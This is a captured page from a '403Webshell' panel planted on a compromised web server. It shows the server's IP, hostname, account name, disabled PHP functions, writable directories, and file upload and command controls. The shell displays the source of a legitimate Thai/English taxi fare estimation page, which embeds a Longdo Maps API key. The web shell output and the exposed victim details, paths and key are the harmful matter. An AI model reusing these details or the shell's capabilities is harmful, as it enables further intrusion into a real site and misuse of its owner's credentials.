403Webshell
Server IP : 103.233.193.20  /  Your IP : 216.73.216.169
Web Server : Apache/2
System : Linux host1.itclever.com 4.18.0-553.16.1.el8_10.x86_64 #1 SMP Thu Aug 8 17:47:08 UTC 2024 x86_64
User : oriscomadm ( 1120)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  /home/oriscomadm/domains/oriscom.com/private_html/taxi_estimate/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/oriscomadm/domains/oriscom.com/private_html/taxi_estimate/driverqr1.php
<!DOCTYPE html>
<html lang="th">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title id="pageTitle">คนขับ - เลือกเส้นทาง</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">
    <link href="https://fonts.googleapis.com/css2?family=Sarabun:wght@400;600&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.0/font/bootstrap-icons.css">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/qrcodejs/1.0.0/qrcode.min.js"></script>
    <script src="https://api.longdo.com/map/?key=4fc6a833488e90b3df56acc1388c198b"></script>

    <style>
        /* ========== BASE STYLES ========== */
        body {
            font-family: 'Sarabun', sans-serif;
            background: #B0C4DE;
            font-size: 16px;
            margin: 0;
            padding: 0;
        }

        .container {
            max-width: 600px;
            /*padding-top: 16px;*/
            /*padding-bottom: 16px;*/
            padding-left: 0;
            padding-right: 0;
        }

        /* ========== LANGUAGE SWITCHER (inside card) ========== */
        .language-switcher {
            position: absolute;
            top: 16px;
            right: 16px;
            font-size: 13px;
            color: #6c757d;
            font-weight: 400;
            z-index: 10;
        }

        .language-switcher .lang-option {
            color: #6c757d;
            text-decoration: none;
            cursor: pointer;
            transition: 0.2s;

            /* ทำให้รองรับพื้นหลังวงกลม */
            display: inline-flex;
            align-items: center;
            justify-content: center;
            width: 26px;
            height: 26px;
            border-radius: 50%;
        }

        .language-switcher .lang-option:hover {
            color: #198754;
        }

        .language-switcher .lang-option.active {
            color: #198754;
            font-weight: 600;
            /* พื้นหลังวงกลม */
            background: #d1e7dd;
        }

        .language-switcher .separator {
            margin: 0 6px;
            color: #dee2e6;
        }

        /* ========== CARD STYLES ========== */
        .card {
            border: none;
            box-shadow: 0 2px 6px rgba(0, 0, 0, 0.05);
            background: #ffffff;
            /*border-radius: 10px;*/
            position: relative;
        }

        .card-header-title {
            margin-top: 12px;
            font-size: 20px;
            font-weight: bold;
            color: #191970;
        }

        .card-subtitle {
            font-size: 14px;
            color: #6c757d;
        }

        /* ========== FORM INPUT STYLES ========== */
        .form-label {
            font-size: 15px;
            margin-bottom: 6px;
            font-weight: 600;
            color: #2b2b2b;
        }

        .input-with-icons {
            position: relative;
            display: flex;
            align-items: center;
            gap: 0;
        }

        .input-icon {
            position: absolute;
            left: 14px;
            top: 50%;
            transform: translateY(-50%);
            z-index: 10;
            display: flex;
            align-items: center;
            justify-content: center;
            pointer-events: none;
        }

        .input-icon i {
            font-size: 20px;
        }

        .input-with-icons .form-control-lg {
            height: 50px;
            font-size: 16px;
            padding: 10px 50px 10px 46px;
            border: 1.5px solid #B0C4DE;
            background: #F8F8FF;
            box-shadow: none;
            outline: none;
            border-radius: 8px;
            flex: 1;
            transition: all 0.3s;
        }

        .input-with-icons .form-control-lg:focus {
            border-color: #1E90FF;
            background: #ffffff;
        }

        #origin {
            border-left: 4px solid #198754;
        }

        #destination {
            border-left: 4px solid #dc3545;
        }

        /* ========== CUSTOM INPUT DISPLAY (สำหรับข้อความสีเขียว) ========== */
        .custom-input-display {
            display: none;
            position: absolute;
            top: 0;
            left: 46px;
            right: 50px;
            height: 50px;
            padding: 13px 0;
            pointer-events: none;
            z-index: 5;
            line-height: 24px;
            font-size: 16px;
            overflow: hidden;
            white-space: nowrap;
            text-overflow: ellipsis;
        }

        .custom-input-display.active {
            display: block;
        }

        .current-location-text {
            color: #198754;
            font-weight: 600;
        }

        .input-has-custom-display {
            color: transparent !important;
            caret-color: #2b2b2b;
        }

        /* ========== CLEAR BUTTON ========== */
        .clear-btn {
            position: absolute;
            right: 10px;
            top: 50%;
            transform: translateY(-50%);
            background: #dc3545;
            color: white;
            border: none;
            border-radius: 50%;
            width: 26px;
            height: 26px;
            display: none;
            align-items: center;
            justify-content: center;
            cursor: pointer;
            font-size: 16px;
            line-height: 1;
            padding: 0;
            z-index: 10;
            transition: all 0.2s;
        }

        .clear-btn:hover {
            background: #bb2d3b;
            transform: translateY(-50%) scale(1.1);
        }

        .clear-btn.show {
            display: flex;
        }

        /* ========== SUGGESTIONS DROPDOWN ========== */
        .suggestions {
            position: absolute;
            top: 100%;
            left: 0;
            width: 100%;
            background: #ffffff;
            border: 1px solid #dee2e6;
            margin-top: 4px;
            overflow: hidden;
            z-index: 99;
            display: none;
            border-radius: 8px;
            max-height: 300px;
            overflow-y: auto;
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
        }

        .suggestion-item {
            padding: 12px 14px;
            font-size: 14px;
            cursor: pointer;
            display: flex;
            align-items: center;
            transition: background 0.2s;
        }

        .suggestion-item:hover {
            background: #f1f3f5;
        }

        .suggestion-item i {
            flex-shrink: 0;
            margin-right: 8px;
        }

        .current-location-item {
            background: #F0FFF0 !important;
            border-bottom: 2px solid #198754;
            font-weight: 600;
            color: #198754;
        }

        .current-location-item:hover {
            background: #d1e7dd !important;
        }

        .suggestion-separator {
            padding: 8px 14px;
            background: #f8f9fa;
            font-size: 12px;
            font-weight: 600;
            color: #6c757d;
            text-transform: uppercase;
            letter-spacing: 0.5px;
            border-top: 1px solid #dee2e6;
            border-bottom: 1px solid #dee2e6;
        }

        /* ========== BUTTONS ========== */
        .btn-success {
            font-size: 16px;
            font-weight: bold;
            padding: 12px 0;
            border-radius: 10px;
            border: none;
            background: #008000;
            box-shadow: none;
            transition: background 0.3s;
        }

        .btn-success:hover {
            background: #006400;
        }

        .btn-confirm {
            width: 100%;
            padding: 12px 0;
            font-size: 18px;
            font-weight: 600;
            background: #198754;
            border: none;
            border-radius: 10px;
            color: white;
            display: none;
            transition: background 0.3s;
        }

        .btn-confirm:hover {
            background: #157347;
        }

        .btn-confirm:disabled {
            background: #6c757d;
            cursor: not-allowed;
        }

        .btn-toggle-qr {
            width: 100%;
            margin-top: 12px;
            font-size: 14px;
            padding: 10px;
            border-radius: 8px;
        }

        /* ========== MAP STYLES ========== */
        #mapContainer {
            display: flex;
            align-items: center;
            justify-content: center;
        }

        #map {
            width: 100%;
            height: 250px;
            border-radius: 12px;
            border: 2px solid #dee2e6;
            cursor: crosshair;
            display: flex;
            align-items: center;
            justify-content: center;
        }

        .map-instruction {
            text-align: center;
            padding: 8px;
            background: #fff3cd;
            border: 1px solid #ffc107;
            border-radius: 8px;
            margin-top: 10px;
            font-size: 14px;
            color: #856404;
        }

        .map-mode-selector {
            display: flex;
            gap: 8px;
            margin-bottom: 12px;
        }

        .map-mode-btn {
            flex: 1;
            padding: 10px;
            border: 2px solid #dee2e6;
            background: #f8f9fa;
            border-radius: 8px;
            cursor: pointer;
            transition: all 0.3s;
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 6px;
            font-weight: 600;
        }

        .map-mode-btn.active {
            border-color: #0d1b3a;
            background: #0d1b3a;
            color: white;
        }

        .map-mode-btn.origin.active {
            border-color: #198754;
            background: #198754;
        }

        .map-mode-btn.destination.active {
            border-color: #dc3545;
            background: #dc3545;
        }

        /* ========== GPS STATUS ========== */
        .gps-status {
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 6px;
            padding: 8px;
            background: #d1e7dd;
            border-radius: 8px;
            margin-bottom: 12px;
            font-size: 14px;
            color: #0f5132;
        }

        /* ========== ROUTE CARDS ========== */
        .routes-section {
            display: none;
            margin-top: 20px;
        }

        .route-card {
            background: #f8f9fa;
            border: 2px solid #dee2e6;
            border-radius: 12px;
            padding: 16px;
            margin-bottom: 12px;
            cursor: pointer;
            transition: all 0.3s;
        }

        .route-card:hover {
            border-color: #0d1b3a;
            transform: translateY(-2px);
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        }

        .route-card.selected {
            border-color: #198754;
            background: #d1e7dd;
        }

        .route-card-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 12px;
        }

        .route-title {
            font-size: 16px;
            font-weight: 600;
            color: #0d1b3a;
        }

        .route-badge {
            background: #0d1b3a;
            color: white;
            padding: 4px 12px;
            border-radius: 20px;
            font-size: 12px;
        }

        .route-card.selected .route-badge {
            background: #198754;
        }

        .route-info {
            display: flex;
            gap: 16px;
            font-size: 14px;
            flex-wrap: wrap;
        }

        .route-info-item {
            display: flex;
            align-items: center;
            gap: 6px;
        }

        .route-info-item i {
            color: #6c757d;
        }

        .cost-highlight {
            color: #dc3545;
            font-weight: 600;
            font-size: 16px;
        }

        /* ========== QR CODE SECTION ========== */
        #qrcode-box {
            padding: 16px;
            border-radius: 10px;
            border: 1px solid #dee2e6;
            background: #f8f9fa;
            display: none;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            min-height: 220px;
            text-align: center;
            margin-top: 20px;
        }

        #qrcode {
            margin: 0 auto;
            text-align: center;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            min-height: 180px;
        }

        /* ========== LOADING & SUCCESS MESSAGES ========== */
        .loading-spinner {
            display: none;
            text-align: center;
            padding: 20px;
            color: #0d1b3a;
        }

        .loading-spinner.active {
            display: block;
        }

        .success-message {
            display: none;
            background: #d1e7dd;
            color: #0f5132;
            padding: 16px;
            border-radius: 10px;
            margin-top: 20px;
            text-align: center;
        }

        .success-message.active {
            display: block;
        }

        .success-message i {
            font-size: 48px;
            margin-bottom: 10px;
        }

        /* ========== LOCATION DISPLAY ========== */
        .location-display {
            background: #e7f3ff;
            padding: 12px;
            border-radius: 8px;
            margin-top: 8px;
            font-size: 14px;
            display: none;
        }

        .location-display.active {
            display: block;
        }

        .location-display strong {
            color: #0d1b3a;
        }

        /* ========== RESPONSIVE ========== */
        @media (max-width: 576px) {
            .language-switcher {
                top: 12px;
                right: 12px;
                font-size: 12px;
            }
        }
    </style>
</head>

<body>

    <div class="container">
        <div class="card p-4">
            <!-- ========== LANGUAGE SWITCHER (inside card) ========== -->
            <div class="language-switcher mb-3">
                <span class="lang-option" id="langTH" onclick="setLanguage('th')">TH</span>
                <span class="separator">|</span>
                <span class="lang-option" id="langEN" onclick="setLanguage('en')">EN</span>
            </div>

            <!-- Header -->
            <div class="text-center mb-3">
                <div class="card-header-title" data-i18n="title">ระบบประมาณการค่าโดยสาร</div>
            </div>

            <!-- Origin Input -->
            <div class="position-relative mb-3">
                <div class="input-with-icons">
                    <div class="input-icon">
                        <i class="bi bi-record-circle text-success"></i>
                    </div>
                    <input
                        type="text"
                        id="origin"
                        class="form-control form-control-lg"
                        data-i18n-placeholder="origin_placeholder"
                        placeholder="ตำแหน่งปัจจุบัน/ค้นหาจุดเริ่มต้น..."
                        autocomplete="off"
                        onclick="setMapMode('origin')">
                    <button class="clear-btn" id="clearOrigin" onclick="clearInput('origin')" type="button">
                        <i class="bi bi-x"></i>
                    </button>
                </div>
                <div id="originSuggestions" class="suggestions"></div>
            </div>

            <!-- Destination Input -->
            <div class="position-relative mb-3">
                <div class="input-with-icons">
                    <div class="input-icon">
                        <i class="bi bi-geo-alt-fill text-danger"></i>
                    </div>
                    <input
                        type="text"
                        id="destination"
                        class="form-control form-control-lg"
                        data-i18n-placeholder="destination_placeholder"
                        placeholder="ค้นหาจุดหมาย..."
                        autocomplete="off"
                        onclick="setMapMode('destination')">
                    <button class="clear-btn" id="clearDestination" onclick="clearInput('destination')" type="button">
                        <i class="bi bi-x"></i>
                    </button>
                </div>
                <div id="destinationSuggestions" class="suggestions"></div>
            </div>

            <!-- Search Button -->
            <button class="btn btn-success w-100 mb-3" onclick="searchRoute()">
                <i class="bi bi-search"></i> <span data-i18n="search_btn">ค้นหาเส้นทาง</span>
            </button>

            <!-- Map -->
            <div id="mapContainer">
                <div id="map"></div>
            </div>

            <!-- Loading Spinner -->
            <div class="loading-spinner" id="loadingSpinner">
                <div class="spinner-border text-success" role="status"></div>
                <p class="mt-2" data-i18n="searching">กำลังค้นหาเส้นทาง...</p>
            </div>

            <!-- Routes Section -->
            <div class="routes-section" id="routesSection">
                <h6 class="mb-3"><i class="bi bi-signpost-2"></i> <span data-i18n="select_route">เลือกเส้นทาง</span></h6>

                <div class="route-card" id="route1" onclick="selectRoute('main')">
                    <div class="route-card-header">
                        <div class="route-title" data-i18n="route1_title">เส้นทางหลัก (วิ่งทางด่วน)</div>
                        <div class="route-badge" data-i18n="recommended">แนะนำ</div>
                    </div>
                    <div class="route-info">
                        <div class="route-info-item"><i class="bi bi-geo-alt-fill"></i> <span id="dist1">-</span></div>
                        <div class="route-info-item"><i class="bi bi-clock-fill"></i> <span id="time1">-</span></div>
                        <div class="route-info-item"><i class="bi bi-cash"></i> <span class="cost-highlight" id="cost1">-</span></div>
                    </div>
                </div>

                <div class="route-card" id="route2" onclick="selectRoute('fastest')">
                    <div class="route-card-header">
                        <div class="route-title" data-i18n="route2_title">เส้นทางเร็วสุด (ไม่วิ่งทางด่วน)</div>
                        <div class="route-badge" data-i18n="economical">ประหยัด</div>
                    </div>
                    <div class="route-info">
                        <div class="route-info-item"><i class="bi bi-geo-alt-fill"></i> <span id="dist2">-</span></div>
                        <div class="route-info-item"><i class="bi bi-clock-fill"></i> <span id="time2">-</span></div>
                        <div class="route-info-item"><i class="bi bi-cash"></i> <span class="cost-highlight" id="cost2">-</span></div>
                    </div>
                </div>
            </div>

            <!-- Confirm Button -->
            <button class="btn btn-confirm" id="confirmBtn" onclick="confirmRoute()">
                <i class="bi bi-check-circle"></i> <span data-i18n="confirm_btn">ยืนยันเส้นทางนี้</span>
            </button>

            <!-- Success Message -->
            <div class="success-message" id="successMessage">
                <i class="bi bi-check-circle-fill"></i>
                <h5 data-i18n="success_msg">บันทึกเส้นทางไว้อ้างอิงสำเร็จ!</h5>
            </div>

            <!-- QR Code Toggle & Box -->
            <div class="text-center mt-2">
                <button class="btn btn-outline-secondary btn-toggle-qr" onclick="toggleQR()">
                    <i class="bi bi-qr-code"></i> <span data-i18n="toggle_qr">ซ่อน/แสดง QR Code</span>
                </button>
            </div>
            <div id="qrcode-box">
                <div class="text-center card-subtitle mb-2" data-i18n="qr_for_passenger">QR Code สำหรับผู้โดยสาร</div>
                <div id="qrcode"></div>
                <p class="text-secondary small mt-2" data-i18n="scan_qr">ให้ผู้โดยสารสแกน QR เพื่อกรอกข้อมูล</p>
            </div>
        </div>
    </div>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js"></script>
    <script>
        // ========== LANGUAGE TRANSLATIONS ==========
        const translations = {
            th: {
                page_title: "คนขับ - เลือกเส้นทาง",
                title: "ระบบประมาณการค่าโดยสาร",
                origin_placeholder: "ตำแหน่งปัจจุบัน/ค้นหาจุดเริ่มต้น...",
                destination_placeholder: "ค้นหาจุดหมาย...",
                search_btn: "ค้นหาเส้นทาง",
                searching: "กำลังค้นหาเส้นทาง...",
                select_route: "เลือกเส้นทาง",
                route1_title: "เส้นทางหลัก (วิ่งทางด่วน)",
                route2_title: "เส้นทางเร็วสุด (ไม่วิ่งทางด่วน)",
                recommended: "แนะนำ",
                economical: "ประหยัด",
                confirm_btn: "ยืนยันเส้นทางนี้",
                success_msg: "บันทึกเส้นทางไว้อ้างอิงสำเร็จ!",
                toggle_qr: "ซ่อน/แสดง QR Code",
                qr_for_passenger: "QR Code สำหรับผู้โดยสาร",
                scan_qr: "ให้ผู้โดยสารสแกน QR เพื่อกรอกข้อมูล",
                use_current_location: "ใช้ตำแหน่งปัจจุบัน",
                search_results: "ผลการค้นหา",
                current_location: "(ตำแหน่งปัจจุบัน)",
                km: "กม.",
                hr: "ชม.",
                min: "นาที",
                baht: "บาท",
                alert_select_locations: "กรุณาเลือกจุดเริ่มต้นและปลายทาง",
                alert_select_route: "กรุณาเลือกเส้นทาง",
                alert_gps_error: "ไม่สามารถเข้าถึงตำแหน่งปัจจุบันได้ กรุณาตรวจสอบการอนุญาตใช้งาน GPS",
                alert_no_gps: "เบราว์เซอร์ของคุณไม่รองรับ GPS",
                getting_location: "กำลังค้นหาตำแหน่ง..."
            },
            en: {
                page_title: "Driver - Route Selection",
                title: "Fare Estimation System",
                origin_placeholder: "Current location/Search origin...",
                destination_placeholder: "Search destination...",
                search_btn: "Search Route",
                searching: "Searching for routes...",
                select_route: "Select Route",
                route1_title: "Main Route (with expressway)",
                route2_title: "Fastest Route (no expressway)",
                recommended: "Recommended",
                economical: "Economical",
                confirm_btn: "Confirm This Route",
                success_msg: "Data Saved Successfully!",
                toggle_qr: "Show/Hide QR Code",
                qr_for_passenger: "QR Code for Passenger",
                scan_qr: "Passenger can scan QR to fill in information",
                use_current_location: "Use Current Location",
                search_results: "Search Results",
                current_location: "(Current Location)",
                km: "km",
                hr: "hr",
                min: "min",
                baht: "THB",
                alert_select_locations: "Please select origin and destination",
                alert_select_route: "Please select a route",
                alert_gps_error: "Unable to access current location. Please check GPS permissions",
                alert_no_gps: "Your browser does not support GPS",
                getting_location: "Getting location..."
            }
        };

        // ========== LANGUAGE MANAGEMENT ==========
        let currentLang = localStorage.getItem('language') || 'th';

        function setLanguage(lang) {
            currentLang = lang;
            localStorage.setItem('language', currentLang);
            updateLanguage();
            updateLanguageSwitcher();
        }

        function updateLanguageSwitcher() {
            document.getElementById('langTH').classList.remove('active');
            document.getElementById('langEN').classList.remove('active');

            if (currentLang === 'th') {
                document.getElementById('langTH').classList.add('active');
            } else {
                document.getElementById('langEN').classList.add('active');
            }
        }

        function updateLanguage() {
            const t = translations[currentLang];

            // Update page title
            document.getElementById('pageTitle').textContent = t.page_title;
            document.documentElement.lang = currentLang;

            // Update all elements with data-i18n attribute
            document.querySelectorAll('[data-i18n]').forEach(element => {
                const key = element.getAttribute('data-i18n');
                if (t[key]) {
                    element.textContent = t[key];
                }
            });

            // Update all placeholders with data-i18n-placeholder attribute
            document.querySelectorAll('[data-i18n-placeholder]').forEach(element => {
                const key = element.getAttribute('data-i18n-placeholder');
                if (t[key]) {
                    element.placeholder = t[key];
                }
            });

            // 🔥 อัพเดทข้อความ current location ใน input field
            if (selectedOrigin && selectedOrigin.isCurrentLocation) {
                document.getElementById('origin').value = t.current_location;
            } else if (selectedOrigin && !selectedOrigin.isCurrentLocation) {
                // 🔥 ถ้าไม่ใช่ current location ให้เรียก reverse geocode ใหม่เพื่อแปลภาษา
                reverseGeocode(selectedOrigin.lat, selectedOrigin.lon, 'origin', false);
            }

            if (selectedDestination && selectedDestination.isCurrentLocation) {
                document.getElementById('destination').value = t.current_location;
            } else if (selectedDestination && !selectedDestination.isCurrentLocation) {
                // 🔥 ถ้าไม่ใช่ current location ให้เรียก reverse geocode ใหม่เพื่อแปลภาษา
                reverseGeocode(selectedDestination.lat, selectedDestination.lon, 'destination', false);
            }

            // 🔥 อัพเดทหน่วยใน route cards ถ้ามีข้อมูลแล้ว
            if (routeData.main && routeData.fastest) {
                displayRoutes(routeData.main, routeData.fastest);
            }

            // 🔥 เปลี่ยนภาษาของแผนที่
            if (map) {
                map.language(currentLang);
            }

            console.log(`🌐 Language switched to: ${currentLang}`);
        }

        // Apply language on page load
        document.addEventListener('DOMContentLoaded', () => {
            updateLanguage();
            updateLanguageSwitcher();
        });

        // ========== ORIGINAL JAVASCRIPT CODE (ทุกฟังก์ชันเดิม) ==========
        const LONGDO_API_KEY = '4fc6a833488e90b3df56acc1388c198b';
        let sessionId = 'session_' + Date.now() + '_' + Math.random().toString(36).substring(2, 9);
        let selectedOrigin = null;
        let selectedDestination = null;
        let searchTimeout = null;
        let map = null;
        let selectedRouteType = null;
        let routeData = {};
        let currentMapMode = 'origin';
        let originMarker = null;
        let destinationMarker = null;

        // ========== MARKER ICONS ==========
        const createMarkerIcon = (color, label) => {
            return `data:image/svg+xml,${encodeURIComponent(`
            <svg width="40" height="50" xmlns="http://www.w3.org/2000/svg">
                <path d="M20 2C11.716 2 5 8.716 5 17c0 8.284 15 31 15 31s15-22.716 15-31c0-8.284-6.716-15-15-15z" 
                      fill="${color}" stroke="#fff" stroke-width="2"/>
                <circle cx="20" cy="17" r="11" fill="white"/>
                <text x="50%" y="35%" text-anchor="middle" dominant-baseline="central" 
                      font-size="14" font-weight="bold" fill="${color}">${label}</text>
            </svg>
        `)}`;
        };

        const greenMarker = createMarkerIcon('#22c55e', 'S');
        const redMarker = createMarkerIcon('#ef4444', 'E');

        // ========== FORMAT LOCATION NAME ==========
        function formatLocationName(data) {
            const parts = [];

            if (data.house_no) parts.push(`เลขที่ ${data.house_no}`);
            if (data.moo) parts.push(data.moo);
            if (data.place) parts.push(data.place);
            if (data.building) parts.push(data.building);
            if (data.condominium) parts.push(data.condominium);
            if (data.village) parts.push(data.village);
            if (data.village_official) parts.push(data.village_official);
            if (data.sublane) parts.push(data.sublane);
            if (data.alley) parts.push(data.alley);
            if (data.road) parts.push(data.road);
            if (data.subdistrict) parts.push(data.subdistrict);
            if (data.district) parts.push(data.district);
            if (data.province) parts.push(data.province);

            return parts.length > 0 ? parts.join(' ') : null;
        }

        // ========== INITIALIZE MAP ==========
        function initMap() {
            map = new longdo.Map({
                placeholder: document.getElementById('map'),
                language: currentLang, // 🔥 ใช้ภาษาที่เลือกไว้
                zoom: 12
            });

            map.Event.bind('click', function() {
                const loc = map.location(longdo.LocationMode.Pointer);
                handleMapClick(loc.lat, loc.lon);
            });

            getCurrentLocation();
        }

        // ========== GET CURRENT GPS LOCATION ==========
        function getCurrentLocation() {
            if (navigator.geolocation) {
                navigator.geolocation.getCurrentPosition(
                    (position) => {
                        const lat = position.coords.latitude;
                        const lon = position.coords.longitude;

                        map.location({
                            lon,
                            lat
                        }, true);
                        map.zoom(15);

                        reverseGeocode(lat, lon, 'origin', true);
                    },
                    (error) => {
                        console.error('GPS Error:', error);
                        map.location({
                            lon: 100.5,
                            lat: 13.75
                        }, true);
                        map.zoom(12);
                    }, {
                        enableHighAccuracy: true,
                        timeout: 10000,
                        maximumAge: 0
                    }
                );
            } else {
                map.location({
                    lon: 100.5,
                    lat: 13.75
                }, true);
            }
        }

        // ========== SET MAP MODE ==========
        function setMapMode(mode) {
            currentMapMode = mode;
        }

        // ========== HANDLE MAP CLICK ==========
        function handleMapClick(lat, lon) {
            reverseGeocode(lat, lon, currentMapMode, false);
        }

        // ========== REVERSE GEOCODING ==========
        async function reverseGeocode(lat, lon, type, isCurrentLocation = false) {
            const t = translations[currentLang];
            try {
                // 🔥 เพิ่ม locale parameter เพื่อให้ที่อยู่เป็นภาษาที่เลือก
                const response = await fetch(`https://api.longdo.com/map/services/address?lon=${lon}&lat=${lat}&locale=${currentLang}&key=${LONGDO_API_KEY}`);
                const data = await response.json();

                let name = formatLocationName(data) || `${lat.toFixed(6)}, ${lon.toFixed(6)}`;

                if (isCurrentLocation) {
                    name = `${t.current_location}`;
                }

                updateLocation(type, name, lat, lon, isCurrentLocation);
            } catch (error) {
                console.error('Reverse Geocode Error:', error);
                let name = `${lat.toFixed(6)}, ${lon.toFixed(6)}`;
                if (isCurrentLocation) {
                    name = `${t.current_location} ${name}`;
                }
                updateLocation(type, name, lat, lon, isCurrentLocation);
            }
        }

        // ========== UPDATE LOCATION ==========
        function updateLocation(type, name, lat, lon, isCurrentLocation = false) {
            const locationData = {
                name,
                lat,
                lon,
                isCurrentLocation: isCurrentLocation // 🔥 เก็บสถานะว่าเป็น current location หรือไม่
            };

            if (type === 'origin') {
                selectedOrigin = locationData;
                const inputElement = document.getElementById('origin');

                inputElement.value = name;

                if (isCurrentLocation) {
                    inputElement.style.color = '#198754';
                    inputElement.style.fontWeight = '600';
                } else {
                    inputElement.style.color = '';
                    inputElement.style.fontWeight = '';
                }

                toggleClearButton('origin', true);

                if (originMarker) map.Overlays.remove(originMarker);
                originMarker = new longdo.Marker({
                    lat,
                    lon
                }, {
                    icon: {
                        url: greenMarker,
                        offset: {
                            x: 20,
                            y: 50
                        }
                    },
                    title: name
                });
                map.Overlays.add(originMarker);

            } else {
                selectedDestination = locationData;
                const inputElement = document.getElementById('destination');

                inputElement.value = name;

                if (isCurrentLocation) {
                    inputElement.style.color = '#198754';
                    inputElement.style.fontWeight = '600';
                } else {
                    inputElement.style.color = '';
                    inputElement.style.fontWeight = '';
                }

                toggleClearButton('destination', true);

                if (destinationMarker) map.Overlays.remove(destinationMarker);
                destinationMarker = new longdo.Marker({
                    lat,
                    lon
                }, {
                    icon: {
                        url: redMarker,
                        offset: {
                            x: 20,
                            y: 50
                        }
                    },
                    title: name
                });
                map.Overlays.add(destinationMarker);
            }

            map.location({
                lat,
                lon
            }, true);
        }

        // ========== CLEAR INPUT ==========
        function clearInput(type) {
            if (type === 'origin') {
                const inputElement = document.getElementById('origin');
                inputElement.value = '';
                inputElement.style.color = '';
                inputElement.style.fontWeight = '';

                selectedOrigin = null;
                document.getElementById('clearOrigin').classList.remove('show');

                if (originMarker) {
                    map.Overlays.remove(originMarker);
                    originMarker = null;
                }
            } else {
                const inputElement = document.getElementById('destination');
                inputElement.value = '';
                inputElement.style.color = '';
                inputElement.style.fontWeight = '';

                selectedDestination = null;
                document.getElementById('clearDestination').classList.remove('show');

                if (destinationMarker) {
                    map.Overlays.remove(destinationMarker);
                    destinationMarker = null;
                }
            }

            if (!selectedOrigin || !selectedDestination) {
                map.Route.clear();
                document.getElementById('routesSection').style.display = 'none';
                document.getElementById('confirmBtn').style.display = 'none';
            }
        }

        // ========== TOGGLE CLEAR BUTTON ==========
        function toggleClearButton(inputId, show) {
            const clearBtn = document.getElementById('clear' + inputId.charAt(0).toUpperCase() + inputId.slice(1));
            if (clearBtn) {
                if (show) {
                    clearBtn.classList.add('show');
                } else {
                    clearBtn.classList.remove('show');
                }
            }
        }

        // ========== SEARCH PLACES ==========
        async function searchPlace(keyword, element, isOrigin) {
            if (keyword.length < 1) {
                element.style.display = 'none';
                return;
            }

            try {
                // 🔥 เพิ่ม locale parameter เพื่อให้ผลค้นหาเป็นภาษาที่เลือก
                const url = `https://search.longdo.com/mapsearch/json/search?keyword=${encodeURIComponent(keyword)}&limit=5&locale=${currentLang}&key=${LONGDO_API_KEY}`;
                const response = await fetch(url);
                const data = await response.json();

                if (data?.data?.length > 0) {
                    displaySuggestions(data.data, element, isOrigin);
                } else {
                    displaySuggestions([], element, isOrigin);
                }
            } catch (error) {
                console.error('Search Error:', error);
                displaySuggestions([], element, isOrigin);
            }
        }

        // ========== DISPLAY SUGGESTIONS ==========
        function displaySuggestions(places, element, isOrigin) {
            const t = translations[currentLang];
            element.innerHTML = '';

            // ตัวเลือก "ใช้ตำแหน่งปัจจุบัน"
            const currentLocationItem = document.createElement('div');
            currentLocationItem.className = 'suggestion-item current-location-item';
            currentLocationItem.innerHTML = `
            <i class="bi bi-crosshair text-success me-2"></i>
            <strong>${t.use_current_location}</strong>
        `;
            currentLocationItem.onclick = () => {
                useCurrentLocation(isOrigin);
                element.style.display = 'none';
            };
            element.appendChild(currentLocationItem);

            // แสดงผลการค้นหา
            if (places.length > 0) {
                const separator = document.createElement('div');
                separator.className = 'suggestion-separator';
                separator.textContent = t.search_results;
                element.appendChild(separator);

                places.sort((a, b) => (a.name || "").localeCompare(b.name || "", "th"));

                places.forEach(place => {
                    const item = document.createElement('div');
                    item.className = 'suggestion-item';

                    const fullAddress = place.address || '';

                    item.innerHTML = `
                    <i class="bi bi-geo-alt text-secondary me-2"></i>
                    <div>
                        <div><strong>${place.name}</strong></div>
                        ${fullAddress ? `<div class="text-muted small">${fullAddress}</div>` : ''}
                    </div>
                `;
                    item.onclick = async () => {
                        await reverseGeocode(place.lat, place.lon, isOrigin ? 'origin' : 'destination', false);
                        element.style.display = 'none';
                    };
                    element.appendChild(item);
                });
            }

            element.style.display = 'block';
        }

        // ========== USE CURRENT LOCATION ==========
        function useCurrentLocation(isOrigin) {
            const t = translations[currentLang];
            if (navigator.geolocation) {
                const inputId = isOrigin ? 'origin' : 'destination';
                document.getElementById(inputId).value = t.getting_location;

                navigator.geolocation.getCurrentPosition(
                    (position) => {
                        const lat = position.coords.latitude;
                        const lon = position.coords.longitude;

                        map.location({
                            lon,
                            lat
                        }, true);
                        map.zoom(15);

                        reverseGeocode(lat, lon, isOrigin ? 'origin' : 'destination', true);
                    },
                    (error) => {
                        console.error('GPS Error:', error);
                        alert(t.alert_gps_error);
                        document.getElementById(inputId).value = '';
                    }, {
                        enableHighAccuracy: true,
                        timeout: 10000,
                        maximumAge: 0
                    }
                );
            } else {
                alert(t.alert_no_gps);
            }
        }

        // ========== EVENT LISTENERS ==========
        document.getElementById('origin').addEventListener('input', e => {
            toggleClearButton('origin', e.target.value.length > 0);
            clearTimeout(searchTimeout);
            searchTimeout = setTimeout(() =>
                searchPlace(e.target.value, document.getElementById('originSuggestions'), true), 300);
        });

        document.getElementById('destination').addEventListener('input', e => {
            toggleClearButton('destination', e.target.value.length > 0);
            clearTimeout(searchTimeout);
            searchTimeout = setTimeout(() =>
                searchPlace(e.target.value, document.getElementById('destinationSuggestions'), false), 300);
        });

